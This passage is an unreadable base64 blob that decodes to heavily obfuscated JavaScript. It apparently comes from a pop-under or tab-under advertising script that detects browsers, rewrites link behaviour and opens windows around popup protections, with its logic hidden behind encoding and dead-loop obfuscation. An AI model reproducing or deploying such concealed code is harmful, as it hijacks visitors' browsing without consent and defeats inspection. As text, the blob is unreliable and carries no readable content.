zK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3